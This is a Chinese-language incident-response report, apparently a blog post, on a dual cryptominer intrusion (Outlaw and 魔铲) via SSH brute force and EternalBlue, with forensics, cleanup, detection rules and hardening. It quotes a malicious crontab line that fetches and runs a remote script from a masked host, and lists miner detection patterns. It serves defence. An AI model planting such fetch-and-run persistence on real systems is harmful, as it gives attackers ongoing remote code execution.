深夜两点监控平台的告警列表里弹出一条不太起眼的主机 CPU 峰值告警指向隔离区里的一台 Linux 测试服务器。最初判断可能是例行任务的误报但当值班同事点开性能曲线时发现 CPU 连续十多个小时维持在 90% 以上这在测试环境下很不正常。随后网络流量视图里出现了一连串指向境外矿池地址的长连接几乎同时另一台数据库测试机的网卡流量也出现奇怪的波动。这次突发事件最终被定性为“Outlaw 魔铲”双挖矿家族联合入侵事件。两个挖矿家族在同一内网里同时活跃这在应急响应里不算常见。后续排查中发现攻击者并没有用什么高深零 day靠的是 SSH 弱口令爆破和永恒之蓝漏洞组合拳但恰恰是这种“低技术含量”的组合让我们的隔离区防线一路失守。接下来整理这份应急响应实录把我们如何溯源、隔离、取证、清理以及后续加固的过程完整记录下来希望能给同样负责测试环境、预发布环境安全的人一点参考。特别是很多人容易忽视“测试环境被打了也无所谓”但事实上当挖矿木马联合起来攻入测试网时攻击者离生产网往往只差一段微隔离的距离。1. 事件发现从一条 CPU 弹窗到全网排查1.1 第一现场满载的 CPU 与反常的矿池流量告警触发点是监控系统里一个自定义规则阈值是“CPU 使用率超过 85% 且持续 10 分钟”。正常情况下测试环境的定时压测任务、自动化脚本执行、数据灌库操作都会造成 CPU 波动所以这类告警经常被值班团队标为“观察”。但这次的高 CPU 持续时间太长长到明显偏离任何已知的测试任务计划。登录到跳板机查看主机状态时我们看到三个关键现象top输出里kworker、sshd、xmrig三个进程轮流抢占 CPU 头部位置xmrig这个名字几乎不用犹豫就能判定是门罗币挖矿木马系统负载平均值在load average: 18.62, 15.31, 12.47但机器的物理核数只有 8 核通过ss -antp检查外联连接发现大量与:3333、:14444、:5555端口的 TCP 长连接这些端口都是知名矿池端口。有人可能会问为什么不是第一时间断网拔线按照应急响应的规范流程确认是安全事件后的第一步动作是“隔离取证”拔线会导致内存中运行的进程信息、网络连接状态全部丢失对后续溯源非常不利。我们选择先把主机从业务 VLAN 里抽出来保留一个独立的管理通道用于取证再通过防火墙策略阻断其外联方向。1.2 扩大排查测试网里不止一台“矿机”孤立一台主机是不够的因为挖矿木马尤其是蠕虫型挖矿木马具备内网横向移动能力。我们用资产管理平台拉取了测试网段全部主机的清单筛出三类重点目标开启了 SSH 服务且密码策略薄弱的主机存在 SMB 服务且长期未打补丁的主机已经出现过安全告警但未闭环处置的“历史遗留问题”主机。排查结果令人后背发凉——整个测试网段内确认被植入挖矿程序的主机有 6 台同时存在可疑计划任务、新增用户、异常定时脚本的主机有 12 台另外还有一批 Windows 主机出现svchost.exe异常网络连接的迹象。这不是单一攻击者随手撒网的结果而是两个不同挖矿家族在同一内网里“接力”扩散后的惨状。我们立刻把事件级别从“一般安全事件”上调到“较大安全事件”启动正式应急响应流程并向安全团队、运维团队、开发测试团队同步信息明确各自的分工边界。这一步非常关键——如果信息不同步运维可能随手把测试虚拟机重启导致内存证据全部丢失开发可能继续往已感染主机上部署代码扩大影响范围。2. 双挖矿家族技术拆解Outlaw 与魔铲的“作案手法”2.1 Outlaw靠 SSH 暴破起家的老牌挖矿僵尸网络Outlaw 这个家族最早被公开披露是在 2018 年前后核心手法就是“SSH 暴力破解 植入持久化后门 挖门罗币”。到 2023 年了仍然活跃说明它的自动化程度和存活策略确实有可取之处。这次事件中Outlaw 扮演的是“开门人”角色。它的攻击链条大致如下攻击者扫描内网中暴露的 22 端口使用内置字典对 root、admin、test 等用户名进行密码爆破爆破成功后通过明文 SSH 会话执行一段下载命令从指定的 URL 拉取第一阶段脚本第一阶段脚本负责关闭常见安全软件、释放 Rootkit 组件、写入 crontab 持久化任务第二阶段脚本从远端下载 XMRig 挖矿主程序连接矿池开始挖矿。Outlaw 的持久化方式非常典型但也很隐蔽它会在 crontab 里写入一条看似正常的定时任务例如*/5 * * * * curl -fsSL http://xxx.xxx.xxx.xxx/a.sh | sh每 5 分钟重新拉取并执行一次脚本。这意味着即使你手工清理了挖矿进程只要 crontab 里的任务还在5 分钟后一切就会复活。所以我们常跟人说清挖矿木马不是杀掉进程就完事而是要沿着“进程→文件→定时任务→启动项”这条链完整清理。另一个值得注意的细节是Outlaw 还会释放 Rootkit 组件用来隐藏自身进程。我们在一台受害主机上发现ps命令输出的进程列表明显“不完整”比如top显示有进程占用了 200% 的 CPU但ps aux里却找不到这个进程。这是典型的进程隐藏手法更专业的做法是比对/proc目录下的进程条目和ps输出的差异。2.2 魔铲永恒之蓝的“遗产继承者”与 Outlaw 不同魔铲这个家族的核心武器是永恒之蓝漏洞MS17-010然后针对不同操作系统平台释放不同架构的挖矿程序。它感染一台主机后会立刻扫描内网其他主机的 445 端口使用漏洞利用代码尝试远程代码执行从而实现“一台失守全网蔓延”。魔铲的横向传播能力比 Outlaw 强得多。Outlaw 基本是靠 SSH 密码爆破一台一台试效率低但胜在持久魔铲则像是“复印机”每攻陷一台主机就会立即尝试感染同网段其他主机。在我们这次事件里那几台 Windows 测试服务器就是被魔铲打穿的。魔铲的技术特征包括内置了大量针对不同平台的挖矿二进制文件下载逻辑包括 x86_64、x86、ARM、MIPS 等架构这意味着它不仅打服务器还打路由器、摄像头等 IoT 设备使用永恒之蓝漏洞传播成功后会在目标主机上释放mssecsvc.exe之类的文件并创建系统服务实现开机自启挖矿程序连接矿池时会使用固定的 UA 或特定请求路径这些可以作为流量检测的规则特征。需要注意的是魔铲这个家族的变种非常多不同版本释放的文件名、矿池地址、持久化方式都有差异。应急响应时不能只靠记忆中的旧样本特征要在现场提取完整 IOC 并做交叉验证。2.3 双挖矿叠加后的排查挑战这次事件最棘手的地方不是两个家族各自有多厉害而是它们在同一内网里形成了“互助式感染链”。Outlaw 打进来的 SSH 弱口令主机可能同时被魔铲通过永恒之蓝再次击中魔铲控制的 Windows 主机又可能被 Outlaw 用收集到的账号密码继续横向尝试。从防御视角看这种叠加带来了两个直接后果清理难度指数级上升。你清掉 Outlaw 的 crontab魔铲的服务还在你堵住永恒之蓝的 445 端口Outlaw 的 SSH 爆破还在继续。只处理一个家族等于白处理。溯源复杂度大幅提高。入侵路径不再是一条清晰的单链而是多个入口、多条路径交织日志关联分析的工作量成倍增长。我们在实际排查中建立了一张“感染关系图”把每台受害主机、被利用的漏洞类型、发现的恶意文件哈希、外联矿池地址全部映射到同一张表里。这样就能快速看出哪些主机是 Outlaw 感染的“第一跳”哪些是魔铲横向扩散的“延伸节点”从而确定处置优先级。3. 应急响应全流程实录从隔离到恢复的每一步3.1 隔离止损先切断横向移动路径整场应急响应的第一个动作是止损。网络层面我们在核心交换机上临时下发 ACL将受感染网段与生产网段、办公网段的互访全部阻断只保留运维管理通道。这一步的意义在于即使我们后续清理动作没有做干净攻击者也无法利用这些主机继续向生产网横向渗透。主机层面对已经确认感染的 6 台主机执行“逻辑隔离”具体操作是记录当前所有 TCP/UDP 连接状态和 PID 对应关系保留内存镜像使用lime工具抓取易失性数据在隔离的取证网络里保持主机在线但阻止其对公网的一切访问。这里要特别提醒一点不要第一时间关闭受害主机。如果你把电源直接断掉内存里的网络连接信息、进程注入痕迹、尚未落盘的攻击命令全部烟消云散。正确做法是保留主机在线状态但对网络访问做精细化管控。3.2 取证调查主机层与服务端的双向作战主机层取证的核心目标是搞清楚三件事攻击者通过什么途径进来、在系统里做了什么、留下了哪些后门。我整理了一份取证操作清单按照优先级排序取证事项具体命令/工具关键关注点进程快照ps -ef、ps auxf可疑进程名、父子进程关系、进程所在路径网络连接ss -antp、lsof -i外联 IP、矿池端口、关联 PID登录记录last、lastlog、/var/log/secure异常 IP、凌晨登录记录、多次失败记录用户账户/etc/passwd、/etc/shadow新增用户、异常 UID 0 用户计划任务/var/spool/cron/、/etc/crontab可疑定时任务、下载执行脚本启动项systemctl list-unit-files、/etc/rc.local自启服务、自启脚本文件痕迹/tmp、/dev/shm、/var/tmp可疑二进制、脚本文件在实际执行中我们发现 Outlaw 释放的挖矿主程序伪装在/tmp/.X11-unix/目录下文件名模仿系统进程的名字魔铲的漏洞利用程序则放在了/var/spool/cron/目录里既有计划任务文件属性又兼作持久化脚本。如果只是按常规目录排查很容易漏掉这些隐藏文件。服务端日志方面我们重点分析了跳板机、防火墙、AD 域的认证日志。通过关联跳板机的访问记录和受害主机上的 SSH 登录时间成功定位到了攻击者的源 IP 段。这里有一个技巧攻击者经常会使用跳板机作为中间跳板但跳板机本身也可能留有登录凭证类文件配合auth.log的小时级统计可以比较快地画出攻击时间轴。3.3 清理与恢复杀进程只是开始清理步骤遵循“先持久化、后进程、再文件”的顺序但实际操作顺序其实是反过来的先找到并移除持久化载体再终止进程最后清理文件。如果顺序搞反进程很快会被持久化任务重新拉起白忙一场。以 Linux 受害主机为例我们执行了以下操作移除/var/spool/cron/root、/etc/cron.d/下的恶意定时任务并记录原始内容用于后续分析禁用异常 systemd 服务执行systemctl disable [服务名]并删除对应的 unit 文件杀掉所有挖矿相关进程使用pkill -f xmrig配合kill -9精确处理残留线程删除/tmp/.X11-unix/、/dev/shm/下恶意文件清理 rootkit 相关的动态链接库检查 SSH 授权文件authorized_keys移除攻击者植入的信任公钥。这里有个很容易踩的坑部分 Outlaw 变种会写入/etc/ld.so.preload来加载 Rootkit 库这个文件如果存在而且内容异常即使你把恶意二进制删了、crontab 清了系统级别的进程隐藏和命令劫持仍然存在。清理时一定要检查/etc/ld.so.preload并对比系统原始库文件哈希。Windows 受害主机的清理相对直接一些但要注意魔铲变种通常会创建名为mssecsvc的 Windows 服务还会在C:\Windows\Inf目录释放驱动级文件。清理时需要先停止服务、删除服务注册表项再清除文件最后用sigverif或自定义规则检查系统文件完整性。所有主机清理完毕后没有立即恢复正常业务而是进入了 72 小时观察期。这个观察期里安全团队继续监控这些主机的 CPU、网络连接、进程启动情况确认没有“回弹”迹象才逐步放量恢复。4. 痕迹、样本与检测规则把应急经验固化成能力4.1 关键 IOC 提取与样本特征应急响应不只是把眼前的问题处理掉更重要的是把这次事件沉淀成可复用的检测能力。我们从受害主机上提取了一批 IOC这里分享几个有代表性的IOC 类型值示例脱敏处理说明恶意域名update.xxx.exampleOutlaw 下载服务器域名矿池地址pool.xxx.example:3333门罗币矿池地址恶意文件 SHA256a3f2...32位哈希挖矿主程序样本哈希持久化路径/tmp/.X11-unix/恶意文件默认释放路径定时任务特征*/5 * * * * curl -fsSL ...sh基于这些 IOC我们在流量检测设备上添加了域名黑名单和 IP 黑名单同时把哈希值输入到 EDR 和杀毒策略里。但说实话IOC 的时效性有限——攻击者换一个域名、换一个矿池端口就能绕过去。更可靠的检测方式是基于行为特征往下看。4.2 基于行为的检测规则设计挖矿木马虽然千变万化但有几个行为是绕不开的高强度 CPU 计算、外联矿池端口、修改 crontab、释放隐藏文件到临时目录。我们改造了现有监控体系增加了三条检测规则CPU 长时高水位规则检测 CPU 使用率连续 30 分钟超过 80% 且进程名匹配常见挖矿关键字xmrig、minerd、kworker的异常变体等触发中危告警矿池端口外联规则针对已知矿池常见端口集合3333、4444、5555、14444、45560 等只要内网主机发起外联即触发高危告警文件目录异常规则监控/tmp/.X11-unix、/dev/shm、/var/tmp等目录下新出现的可执行文件结合文件哈希自动提交沙箱检测。这三条规则的成本很低但对挖矿家族有很强的覆盖力。实际运营中我把它们部署在了分布式主机探针和流量探针两层既能看到主机侧的行为也能看到网络侧的整体流向。4.3 日志分析的关键字段应急响应后半程我们把重点放在日志分析上。从跳板机和核心交换机导出 30 天日志进行关联分析。有几个字段特别需要关注SSH 认证日志里的Failed password次数如果某个源 IP 在短时间内出现几十次失败记录基本可以判定是爆破行为源 IP 到多个目标 IP 的横向连接记录特别是从一台测试机向大量主机发起的 445 端口 SYN 包这是蠕虫扩散的信号计划任务的创建日志在 Linux 上通过auditd监控/var/spool/cron目录的写操作在 Windows 上通过安全事件 ID 4698 监控计划任务创建。如果日志系统里这些维度都没覆盖说明监测能力存在重大缺口。下一次事件发生时你可能连攻击路径都还原不出来。5. 纵深防御反思为什么“隔离区”还是不设防5.1 网络隔离的“最后一公里”缺失坦白说这次事件里最让我觉得丢分的不是挖矿木马本身而是我们一直以为固若金汤的网络隔离。测试网和生产网确实做了逻辑隔离但测试网内部几乎是“一马平川”——所有主机在同一个大二层网段VLAN 之间没有做微隔离主机之间互访完全没有限制。这就导致魔铲的永恒之蓝利用几乎没有任何阻碍。一台 Windows 测试机被攻破后扫描器很快就能覆盖整个测试网段的所有 445 端口每一台历史遗留的、长期未打补丁的测试主机都成了新的跳板。正确的做法是即使在同一隔离区内也应当按照业务系统、使用角色、敏感程度进行子网划分至少做到“测试 A 区和测试 B 区之间默认拒绝按需放行”。微隔离听起来是一个很重的工程但从最小化改动来看哪怕只在核心交换机上多配几条 ACL也能极大压缩横向移动的攻击面。5.2 测试环境的安全基线缺位测试环境在不少企业里的地位很尴尬开发说“我只是临时用一下”运维说“测试环境出问题不影响生产”安全说“等上线前再做基线检查”。结果就是测试环境成了安全防护的真空地带。这次事件中暴露的问题包括测试服务器使用root/123456、test/test123这类口令SSH 爆破一次成功Windows 测试机长期没有打补丁永恒之蓝漏洞一打一个准测试机上的杀毒软件被运维以“影响性能”为由卸载EDR 探针部署率不足 30%多个测试数据库使用默认端口和默认账号攻击者拿下主机后直接拖库测试连接。不是说测试环境必须做到和生产一样的防护强度但安全基线必须存在。最低限度要求应该包括密码强度策略、漏洞补丁周期、EDR 全覆盖、公网入口收敛。测试环境的安全成本没那么高缺的是重视。5.3 监控告警的盲区与误报疲劳监控平台其实很早就看到了异常只是没人重视。回顾告警日志第一台受害主机被植入挖矿程序后 15 分钟CPU 告警就触发了但值班人员因为“测试环境常有压测任务”将告警关闭。这是典型的误报疲劳也是许多安全事件从“可发现”变成“已失控”的转折点。要解决这个问题不能只靠提升值班人员的责任心更需要在告警规则和处置流程上下功夫给告警增加“上下文”CPU 告警要关联该主机的业务时间表如果当前没有压测任务窗口告警级别自动提升引入多源关联单看 CPU 不够要结合外联连接、计划任务变更、进程创建等多维度信号综合判断建立“疑似挖矿”快速处置手册即使值班人员不确定也能按手册快速隔离取证而不是简单关闭告警。如果监控能力足够强这次事件的 MTTR平均修复时间可以从几天压缩到几小时。但前提是你得把告警规则设计到能真正反映业务和安全的风险等级。6. 事后加固清单把教训变成防线6.1 边界访问控制和账号治理在边界层面我们对测试网段的公网入口做了一次彻底收敛所有 SSH 服务端口不再直接暴露公网统一收敛到跳板机通过堡垒机进行身份认证和操作审计对 445 端口、139 端口等面临 SMB 风险的服务在核心交换机和防火墙上执行“全网默认拒绝单点例外放行”策略对测试网的对外连接执行白名单策略仅允许必要的软件源、Docker 镜像仓库等指定域名通过其余公网访问全部阻断。账号治理方面我们强制要求所有测试主机启用 SSH 密钥登录关闭密码登录方式。对于确因自动化脚本需要密码认证的少数场景专门纳入了密码保险箱集中管理并设置 90 天自动轮换。这一步做完Outlaw 这类靠 SSH 暴破的家族基本就废了。6.2 主机加固与补丁管理主机层面的加固动作比较细核心是三条全网范围内重新扫描 MS17-010 漏洞对所有存在永恒之蓝漏洞的 Windows 主机执行补丁安装并登记补丁版本形成台账对所有 Linux 主机执行基线核查重点检查/etc/ld.so.preload、crontab、systemd 服务、特殊权限文件等高风险位置清理测试环境中的所有弱口令账号对长期无人使用的“僵尸账号”直接冻结删除。补丁管理这块说实话是最难的。测试环境系统杂、版本旧、改造成本高很多老系统连供应商都找不到了强制打补丁可能引发兼容性问题。我们的折中方案是能打补丁的打补丁不能打补丁的主机必须单独划 VLAN且除了必要的业务端口外禁止任何横向访问。至少保证它就算被攻破也没法扩散到其他主机。6.3 检测和应急能力的持续补齐最后一块是能力建设。我们基于这次事件的经验输出了三份具体成果更新了《挖矿木马应急响应处置手册》把 Outlaw、魔铲这类双家族叠加场景的处置流程单独列为一节在 SOC 平台里新增了“挖矿行为检测”场景把前文提到的三类行为规则固化进自动告警体系组织了一次基于本次真实事件的沙盘推演让值班团队、运维团队、开发测试团队共同参与明确各自在应急响应中的动作和时间要求。应急响应的价值从来不在于“事后灭火”而在于每次灭火后把消防设施升级一遍。这次事件之后我们最大的变化不是多了几条封禁 IP 的防火墙规则而是终于把测试环境的安全视为了生产环境安全的一部分。最后再分享一个小技巧清理挖矿木马时别只盯着top里能看到的高 CPU 进程。建议你用busybox静态编译一份到应急工具箱里因为很多被植入 Rootkit 的系统里ps、netstat、ls这些基础命令可能已经被替换或劫持。用静态编译的 busybox 执行/bin/busybox ps和/bin/busybox netstat -anp能绕过大部分进程隐藏和命令替换手法看到系统真实的状态。这个小工具在关键时刻救过我们不止一次。